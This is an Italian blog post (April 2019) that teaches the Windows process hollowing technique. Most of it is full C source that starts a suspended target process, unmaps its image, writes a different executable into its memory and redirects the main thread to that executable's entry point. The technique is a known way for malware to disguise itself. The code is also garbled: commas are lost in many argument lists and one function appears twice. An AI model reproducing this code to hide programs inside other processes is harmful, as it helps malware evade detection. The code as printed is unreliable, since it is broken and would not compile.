giovedì 18 aprile 2019

Process Hollowing (Dynamic Forking)

Per Process Hollowing, o Dynamic Forking, si intende quella tecnica in cui viene creato un processo che alla fine esegue l'immagine di un eseguibile diversa rispetto a quella associata quando è creato il processo. Per eseguire tale tecnica i passaggi fondamentali sono tre:

Un'applicazione, che chiameremo iniettore o hijacker (dipende dal compito che tale applicazione sta svolgendo), crea un processo target indicando un eseguibile di suo gradimento e sospendendo il thread principale.




Successivamente, l'iniettore carica l'immagine dell'EXE che vuole eseguire realmente al posto dell'immagine del target appena creato.




Infine, l'hijacker (o iniettore, come detto ci riferiamo sempre alla stessa applicazione che ha creato il processo) ripristina il thread sospeso dopo averlo informato sul nuovo indirizzo dal quale iniziare l'esecuzione e che, naturalmente, sarà l'entrypoint dell'immagine dell'eseguibile caricato al passaggio precedente.




Per quanto riguarda lo stile scelto per l'esposizione della tecnica presentata in questo articolo, ho deciso di scrivere tutte le info sotto forma di commenti al codice. Per non appesantire troppo il discorso, inoltre, si prenderà in considerazione e si spiegherà in dettaglio solo la parte relativa all'articolo. Tutto quanto necessario alla comprensione del resto del sorgente si può trovare in un articolo precedente linkato nei riferimenti sotto (si veda [1] e si faccia riferimento ad esso se si hanno dubbi). Il consiglio, per leggere il codice di questo articolo, è quello di partire dall'entrypoint (_tmain) seguendo il flusso naturale delle istruzioni. L'unica cosa importante da aggiungere è che questo codice sorgente si basa su un post presente su rohitab.com (si veda [2]).

Di seguito il codice dell' iniettore/hijacker

int _tmain(int argcTCHAR *argv[])
{
 // Percorso EXE da eseguire davvero
 TCHAR path[MAX_PATH] = { 0 };
 
 GetAppPath(path);
 _tcscat(path, "ExeApp.exe");
 
 HANDLE hFile = CreateFile(path, GENERIC_READFILE_SHARE_READ | FILE_SHARE_WRITENULL,
  OPEN_EXISTING, 0, NULL);
 
 DWORD FileSize = GetFileSize(hFile, NULL);
 
 // Alloca spazio in questo processo (AppHijack)
 LPVOID FileBuffer = VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVEPAGE_READWRITE);
 
 // Salva immagine su disco di EXEApp in memoria appena allocata in AppHijack
 ReadFile(hFile, FileBuffer, FileSize, NULLNULL);
 
 // Percorso Target di cui si vuole creare il processo
 GetAppPath(path);
 _tcscat(path, "Target.exe");
 
 if (!ProcHollowing(path, NULL, FileBuffer)) {
  _tprintf(TEXT("error creating process\n"));
  return 1;
 }
 
 return 0;
}

void GetAppPath(PTCHAR szCurFile)
{
 GetModuleFileName(0, szCurFileMAX_PATH);
 
 for (SIZE_T i = _tcslen(szCurFile) - 1; i >= 0; i--)
 {
  if (szCurFile[i] == '\\')
  {
   szCurFile[i + 1] = '\0';
   break;
  }
 }
}

typedef NTSTATUS(WINAPI *NtUnmapViewOfSectionFunc)(
 HANDLE ProcessHandle,
 LPVOID BaseAddress
 );
 
typedef NTSTATUS(WINAPI *NtQueryInformationProcessFunc)(
 LPVOID ProcessHandle,
 DWORD ProcessInformationClass,
 LPVOID ProcessInformation,
 DWORD ProcessInformationLength,
 DWORD *ReturnLength
 );
 
#define GET_NTHDRS(module) \
 ((IMAGE_NT_HEADERS *) \
 ((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew))
 
NtUnmapViewOfSectionFunc pNtUnmapViewOfSection;
NtQueryInformationProcessFunc pNtQueryInformationProcess;
 
 
 
BOOL ProcHollowing(const PTCHAR namePTCHAR cmd_lineLPVOID map)
{
 STARTUPINFO sinfo;
 PROCESS_INFORMATION pinfo;
 LPCVOID peb_addr;
 ULONG_PTR org_base;
 SIZE_T rimage_size;
 LPVOID dest;
 IMAGE_NT_HEADERS *nthdrs;
 ULONG_PTR image_base;
 CONTEXT cntx;
 HMODULE ntdll;
 int res;
 
 dest = NULL;
 res = 0;
 
 memset(&sinfo, 0, sizeof(sinfo));
 sinfo.cb = sizeof(sinfo);
 memset(&pinfo, 0, sizeof(pinfo));
 
 if (!(ntdll = GetModuleHandle(TEXT("ntdll.dll"))))
  return FALSE;
 
 if (!(pNtQueryInformationProcess = (NtQueryInformationProcessFunc)GetProcAddress(ntdll, "NtQueryInformationProcess")) ||
  !(pNtUnmapViewOfSection = (NtUnmapViewOfSectionFunc)GetProcAddress(ntdll, "NtUnmapViewOfSection")))
  return FALSE;
 
 // Crea processo Target sospendendo il thread pricipale prima che inizi la sua esecuzione
 if (!CreateProcess(namecmd_lineNULLNULLFALSECREATE_SUSPENDEDNULLNULL, &sinfo, &pinfo))
  return FALSE;
 
 // Recupera indirizzo PEB di Target attraverso NtQueryInformationProcess ed
 // ottiene image base effettivo di Target e sua dimensione in memoria
 if (!(peb_addr = GetRemotePEB(pinfo.hProcess)) || 
  !GetRemoteBaseAddress(pinfo.hProcess, peb_addr, &org_base) ||
  !GetRemoteSize(pinfo.hProcess, (LPCVOID)org_base, &rimage_size))
 { 
  CleanUp(res, &pinfo);
  return FALSE;
 }
 
 // Recupera indirizzo di IMAGE_NT_HEADERS di immagine su disco di ExeApp in
 // memoria allocata su AppHijack e salvata a partire da map.
 // Salva image base desiderato di ExeApp.
 //nthdrs = (IMAGE_NT_HEADERS*)((LPBYTE)map + ((IMAGE_DOS_HEADER *)map)->e_lfanew);
 nthdrs = GET_NTHDRS(map);
 image_base = nthdrs->OptionalHeader.ImageBase;
 
 if (!dest) {
  // Se ExeApp ha tabella rilocazioni cerca prima di metterlo allo stesso image base di Target;
  // non c'è un motivo particolare, è solo la soluzione più naturale.
  if (IsRelocatable(nthdrs)) {
   // Non si sa a priori quanto possano essere grandi le immagini di ExeApp e Target. 
   // Può darsi che quella di ExeApp sia più grande di quella di Target e scrivere ExeApp nello
   // spazio virtuale di Target può essere rischioso e portare a dei crash. 
   // La cosa più logica da fare è cercare di unmappare completamente la vista dell'immagine di 
   // Target dal suo stesso spazio di indirizzamento virtuale e, se ci si riesce, cercare di allocare 
   // tanto spazio quanto serve ad AppExe a partire da image base di Target.
   if (pNtUnmapViewOfSection(pinfo.hProcess, (LPVOID)org_base) == 0)
    dest = VirtualAllocEx(
     pinfo.hProcess,
     (LPVOID)org_base,
     nthdrs->OptionalHeader.SizeOfImage,
     MEM_RESERVE | MEM_COMMIT,
     PAGE_READWRITE);
 
   // Se ExeApp ha tabella rilocazioni ma non si è riusciti ad unmappare o allocare si cerca
   // allora di trovare uno spazio qualunque dove metterlo.
   if (!dest && !(dest = VirtualAllocEx(
    pinfo.hProcess,
    NULL,
    nthdrs->OptionalHeader.SizeOfImage,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE)))
   {
    CleanUp(res, &pinfo);
    return FALSE;
   }
 
   // Imposta ImageBase di IMAGE_NT_HEADERS
   nthdrs->OptionalHeader.ImageBase = (ULONG_PTR)dest;
  }
  // Se ExeApp NON ha tabella rilocazioni è necessario metterlo nel
  // suo indirizzo desiderato per non creare disastri durante la 
  // risoluzione degli indirizzi.
  else { 
   // Per farlo cerca di prima di unmappare vista di Target dove 
   // cade image base di ExeApp
   pNtUnmapViewOfSection(pinfo.hProcess, (LPVOID)image_base);
 
   // Cerca di allocare spazio in Target a partire da image base di ExeApp
   if (!(dest = VirtualAllocEx(pinfo.hProcess, (LPVOID)image_base,
    nthdrs->OptionalHeader.SizeOfImage,
    MEM_RESERVE | MEM_COMMITPAGE_READWRITE)))
   {
    CleanUp(res, &pinfo);
    return FALSE;
   }
  }
 }
 
 // Se ExeApp ha tabella rilocazioni bisogna fixarla.
 // Lo fa su immagine di ExeApp su disco prima di copiare headers e sezioni.
 // Non può farlo su immagine in memoria perchè si tratta di un processo remoto e
 // ci vorfrebbe una DLL injection o uno shellCode per eseguire il codice da lì e non da quì.
 if (dest != (LPVOID)image_base)
  FixRawReloc(map, (ULONG_PTR)dest, image_base);
 
 // Bisognerebbe fixare anche IAT ma non è possibile farlo su file
 // dato che necessita di chiamare LoadLibrary da processo creato
 // e fixare array ThunkFirst. Se necessario e fattibile, alla fine 
 // si può sempre iniettare una DLL o uno shellcode nell'immagine
 // in memoria e fixare l'IAT.
 
 // Copia headers e sezioni e ne imposta le rispettive proprietà di protezione
 if (!CopyHeaders(pinfo.hProcess, dest, map) ||
  !CopySections(pinfo.hProcess, dest, map) ||
  !ProtectRemoteSections(pinfo.hProcess, dest, nthdrs))
 {
  CleanUp(res, &pinfo);
  return FALSE;
 }
 
 // Se image base effettivo di ExeApp non è più quello ottenuto da PEB di Target
 // bisogna fixare PEB.ImageBaseAddress
 if ((ULONG_PTR)dest != org_base &&
  !SetRemoteBaseAddress(pinfo.hProcess, peb_addr, (ULONG_PTR)dest))
 {
  CleanUp(res, &pinfo);
  return FALSE;
 }
 
 // Recupera intero contesto del thread principale del processo creato
 cntx.ContextFlags = CONTEXT_FULL;
 
 if (!GetThreadContext(pinfo.hThread, &cntx))
 {
  CleanUp(res, &pinfo);
  return FALSE;
 }
 
 // Prima che il thread principale di un processo venga eseguito, l'entrypoint dal quale
 // partire deve trovarsi nel registro RCX.
 cntx.Rcx = (ULONG_PTR)dest + nthdrs->OptionalHeader.AddressOfEntryPoint;
 
 // Reimposta contesto del thread ed avvia quest'ultimo rispristinandolo dalla sospensione
 if (!SetThreadContext(pinfo.hThread, &cntx) ||
  ResumeThread(pinfo.hThread) == (DWORD)-1)
 {
  CleanUp(res, &pinfo);
  return FALSE;
 }
 
 res = 1;
 
 CleanUp(res, &pinfo);
 return TRUE;
}

// Trasforma da RVA a file offset (rispetto ad immagine su disco)
DWORD RVAtoRAW(const IMAGE_NT_HEADERS *NTHDWORD RVA)
{
 DWORD Offset = RVA, Limit;
 IMAGE_SECTION_HEADER *Img;
 
 // Recupera indirizzo del primo header di sezione
 Img = IMAGE_FIRST_SECTION(NTH);
 
 // Se RVA < di indirizzo prima sezione, ritorna RVA così com'è
 // dato che fino a prima sezione il contenuto dell'immagine tra
 // versione su disco ed in memoria è lo stesso.
 if (RVA < Img->PointerToRawData)
  return RVA;
 
 // Itera tutte le sezioni
 for (int i = 0; i < NTH->FileHeader.NumberOfSections; i++)
 {
  // Se la sezione ha una dimensione su disco
  // imposta questo valore come dimnensione della sezione in
  // memoria: il contenuto non cambia, solo allineamento può essere diverso.
  if (Img[i].SizeOfRawData)
   Limit = Img[i].SizeOfRawData;
  else // altrimenti imposta la dimensione in memoria a quella indicata da VirtualSize
   Limit = Img[i].Misc.VirtualSize;
 
  // Se RVA in sezione corrente
  if (RVA >= Img[i].VirtualAddress &&
   RVA < (Img[i].VirtualAddress + Limit))
  {
   // e la sezione è presente su disco
   if (Img[i].PointerToRawData != 0)
   {
    // togliendogli l'indirizzo di partenza della sezione in cui si trova
    // quello che resta è l'offset rispetto all'inizio di quest'ultima.
    // Aggiungendo a questo l'indirizzo di partenza della relativa sezione
    // su disco si ottiene l'RVA rispetto all'inizio dell'immagine su disco.
    Offset -= Img[i].VirtualAddress;
    Offset += Img[i].PointerToRawData;
   }
 
   return Offset;
  }
 }
 
 return NULL;
}

// Recupera indirizzo PEB usando NtQueryInformationProcess.
// https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-ntqueryinformationprocess
LPCVOID GetRemotePEB(HANDLE proc)
{
 PROCESS_BASIC_INFORMATION pbi;
 DWORD ret_len;
 return pNtQueryInformationProcess(procProcessBasicInformation, &pbi,
  sizeof(pbi), &ret_len) == 0 ? pbi.PebBaseAddress : NULL;
}

// Recupera memoria di un processo ad un indirizzo indicato.
// Ritorna TRUE se l'operazione è avvenuta correttamente.
BOOL ReadRemoteMem(HANDLE procLPCVOID addrLPVOID bufferSIZE_T size)
{
 int ret;
 SIZE_T read;
 ret = ReadProcessMemory(procaddrbuffersize, &read);
 return ret && read == size;
}

// Scrive memoria di un processo ad un indirizzo indicato.
// Ritorna TRUE se lì'operazione è avvenuta correttamente.
BOOL WriteRemoteMem(HANDLE procLPVOID addrLPCVOID bufferSIZE_T size)
{
 int ret;
 SIZE_T written;
 ret = WriteProcessMemory(procaddrbuffersize, &written);
 return ret && written == size;
}

/*
 struct PEB64
 {
  union
  {
   struct
   {
    BYTE InheritedAddressSpace;     //0x000
    BYTE ReadImageFileExecOptions;  //0x001
    BYTE BeingDebugged;             //0x002
    BYTE _SYSTEM_DEPENDENT_01;      //0x003
   } flags;
   QWORD dummyalign;
  } dword0;
  QWORD Mutant;            //0x0008
  QWORD ImageBaseAddress;  //0x0010
  PTR64 Ldr;               //0x0018
  PTR64 ProcessParameters; //0x0020
  QWORD SubSystemData;     //0x0028
  QWORD ProcessHeap;       //0x0030
  QWORD FastPebLock;       //0x0038
  ....  ....               //...
 }
*/
#define PEB_BASE_ADDR_OFFSET 0x10 // 0x8 in versioni precedenti di Windows
 
// Recupera indirizzo di base effettivo di un processo attraverso relativo PEB
BOOL GetRemoteBaseAddress(HANDLE procLPCVOID peb_addrPULONG_PTR base_addr)
{
 return ReadRemoteMem(proc, ((LPBYTE)peb_addr + PEB_BASE_ADDR_OFFSET),
  base_addrsizeof(*base_addr));
}

// Imposta indirizzo di base effettivo di un processo attraverso relativo PEB
BOOL SetRemoteBaseAddress(HANDLE procLPCVOID peb_addrULONG_PTR base_addr)
{
 return WriteRemoteMem(proc, ((LPBYTE)peb_addr + PEB_BASE_ADDR_OFFSET),
  &base_addrsizeof(base_addr));
}

// Recupera dimensione in memoria di un processo
BOOL GetRemoteSize(HANDLE procLPCVOID image_baseSIZE_T *image_size)
{
 IMAGE_DOS_HEADER doshdr;
 if (!ReadRemoteMem(procimage_base, &doshdr, sizeof(doshdr)))
  return 0;
 return ReadRemoteMem(proc, ((LPBYTE)image_base + doshdr.e_lfanew +
  offsetof(IMAGE_NT_HEADERS, OptionalHeader.SizeOfImage)),
  image_sizesizeof(*image_size));
}

// Controlla se una data DirectoryData è presente
BOOL DirExist(const IMAGE_NT_HEADERS *nthdrsint dir_type)
{
 const IMAGE_DATA_DIRECTORY *dir_entry;
 dir_entry = &nthdrs->OptionalHeader.DataDirectory[dir_type];
 return dir_entry->VirtualAddress != 0 && dir_entry->Size != 0;
}

// Controlla se è presente la tabella delle rilocazioni
BOOL IsRelocatable(const IMAGE_NT_HEADERS *nthdrs)
{
 return !(nthdrs->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) &&
  DirExist(nthdrsIMAGE_DIRECTORY_ENTRY_BASERELOC);
}

void CleanUp(int resPPROCESS_INFORMATION pinfo)
{
 if (!res)
  TerminateProcess(pinfo->hProcess, 0);
 CloseHandle(pinfo->hThread);
 CloseHandle(pinfo->hProcess);
}

// Fixa rilocazioni in immagine su disco
void FixRawReloc(LPVOID mapULONG_PTR dest_addrULONG_PTR image_base)
{
 const IMAGE_NT_HEADERS *nthdrs;
 const IMAGE_DATA_DIRECTORY *reloc_dir_entry;
 IMAGE_BASE_RELOCATION *cur_reloc, *reloc_end;
 LONGLONG delta;
 
 nthdrs = GET_NTHDRS(map);
 
 reloc_dir_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
 cur_reloc = (IMAGE_BASE_RELOCATION *)((LPBYTE)map + RVAtoRAW(nthdrs, reloc_dir_entry->VirtualAddress));
 reloc_end = (IMAGE_BASE_RELOCATION *)((LPBYTE)cur_reloc + reloc_dir_entry->Size);
 
 delta = dest_addr - image_base;
 
 while (cur_reloc < reloc_end && cur_reloc->SizeOfBlock) 
 {
  int count;
  WORD *cur_entry;
  void *page_raw;
 
  count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  cur_entry = (PWORD)(cur_reloc + 1);
  page_raw = (LPBYTE)map + RVAtoRAW(nthdrs, cur_reloc->VirtualAddress);
  while (count--) {
   if (*cur_entry >> 12 == IMAGE_REL_BASED_DIR64)
    *(ULONG_PTR *)((LPBYTE)page_raw + (*cur_entry & 0x0fff)) += delta;
   cur_entry++;
  }
 
  cur_reloc = (IMAGE_BASE_RELOCATION *)((LPBYTE)cur_reloc + cur_reloc->SizeOfBlock);
 }
}

// Trasforma da RVA a file offset (rispetto ad immagine su disco)
DWORD RVAtoRAW(const IMAGE_NT_HEADERS *NTHDWORD RVA)
{
 DWORD Offset = RVA, Limit;
 IMAGE_SECTION_HEADER *Img;
 
 // Recupera indirizzo del primo header di sezione
 Img = IMAGE_FIRST_SECTION(NTH);
 
 // Se RVA < di indirizzo prima sezione, ritorna RVA così com'è
 // dato che fino a prima sezione il contenuto dell'immagine tra
 // versione su disco ed in memoria è lo stesso.
 if (RVA < Img->PointerToRawData)
  return RVA;
 
 // Itera tutte le sezioni
 for (int i = 0; i < NTH->FileHeader.NumberOfSections; i++)
 {
  // Se la sezione ha una dimensione su disco
  // imposta questo valore come dimnensione della sezione in
  // memoria: il contenuto non cambia, solo allineamento può essere diverso.
  if (Img[i].SizeOfRawData)
   Limit = Img[i].SizeOfRawData;
  else // altrimenti imposta la dimensione in memoria a quella indicata da VirtualSize
   Limit = Img[i].Misc.VirtualSize;
 
  // Se RVA in sezione corrente
  if (RVA >= Img[i].VirtualAddress &&
   RVA < (Img[i].VirtualAddress + Limit))
  {
   // e la sezione è presente su disco
   if (Img[i].PointerToRawData != 0)
   {
    // togliendogli l'indirizzo di partenza della sezione in cui si trova
    // quello che resta è l'offset rispetto all'inizio di quest'ultima.
    // Aggiungendo a questo l'indirizzo di partenza della relativa sezione
    // su disco si ottiene l'RVA rispetto all'inizio dell'immagine su disco.
    Offset -= Img[i].VirtualAddress;
    Offset += Img[i].PointerToRawData;
   }
 
   return Offset;
  }
 }
 
 return NULL;
}

BOOL CopyHeaders(HANDLE procLPVOID baseLPCVOID src)
{
 const IMAGE_NT_HEADERS *nthdrs;
 
 nthdrs = GET_NTHDRS(src);
 return WriteRemoteMem(procbasesrc, nthdrs->OptionalHeader.SizeOfHeaders);
}

static int CopySections(HANDLE procLPVOID baseLPCVOID src)
{
 const IMAGE_NT_HEADERS *nthdrs;
 const IMAGE_SECTION_HEADER *sechdr;
 WORD i;
 
 nthdrs = GET_NTHDRS(src);
 sechdr = (IMAGE_SECTION_HEADER *)(nthdrs + 1);
 for (i = 0; i < nthdrs->FileHeader.NumberOfSections; ++i) {
  LPVOID sec_dest;
 
  if (sechdr[i].PointerToRawData == 0)
   continue;
 
  sec_dest = (LPBYTE)base + sechdr[i].VirtualAddress;
  if (!WriteRemoteMem(proc, sec_dest, (LPBYTE)src + sechdr[i].PointerToRawData, sechdr[i].SizeOfRawData))
   return 0;
 }
 return 1;
}

// Imposta proprietà di protezione di headers e sezioni
BOOL ProtectRemoteSections(HANDLE procLPVOID baseconst IMAGE_NT_HEADERS *snthdrs)
{
 IMAGE_SECTION_HEADER *sec_hdr;
 DWORD old_prot, new_prot;
 WORD i;
 
 // Headers tutti READONLY
 VirtualProtectEx(procbasesnthdrs->OptionalHeader.SizeOfHeaders,
  PAGE_READONLY, &old_prot);
 
 sec_hdr = (IMAGE_SECTION_HEADER *)(snthdrs + 1);
 for (i = 0; i < snthdrs->FileHeader.NumberOfSections; ++i) {
  LPVOID section;
  section = (LPBYTE)base + sec_hdr[i].VirtualAddress;
  new_prot = GetSectionProtection(sec_hdr[i].Characteristics);
  if (!VirtualProtectEx(proc,
   section,
   sec_hdr[i].Misc.VirtualSize,
   new_prot,
   &old_prot))
   return 0;
 }
 return 1;
}

DWORD GetSectionProtection(DWORD secp)
{
 DWORD vmemp;
 int executable, readable, writable;
 
 executable = (secp & IMAGE_SCN_MEM_EXECUTE) != 0;
 readable = (secp & IMAGE_SCN_MEM_READ) != 0;
 writable = (secp & IMAGE_SCN_MEM_WRITE) != 0;
 vmemp = secprot[executable][readable][writable];
 if (secp & IMAGE_SCN_MEM_NOT_CACHED)
  vmemp |= PAGE_NOCACHE;
 return vmemp;
}

// executable, readable, writable
DWORD secprot[2][2][2] = {
 {
  //not executable
  {PAGE_NOACCESSPAGE_WRITECOPY},
  {PAGE_READONLYPAGE_READWRITE}
 },
 {
  //executable
  {PAGE_EXECUTEPAGE_EXECUTE_WRITECOPY},
  {PAGE_EXECUTE_READPAGE_EXECUTE_READWRITE}
 }
};

Come si può notare, il processo viene identificato come Target ma viene eseguita l'immagine di ExeApp








Codice sorgente:
Process_Hollowing.zip




Riferimenti:
[1] Caricare DLL in memoria manualmente
[2] http://www.rohitab.com/discuss/topic/41529-stealthier-process-hollowing-code/

Nessun commento:

Posta un commento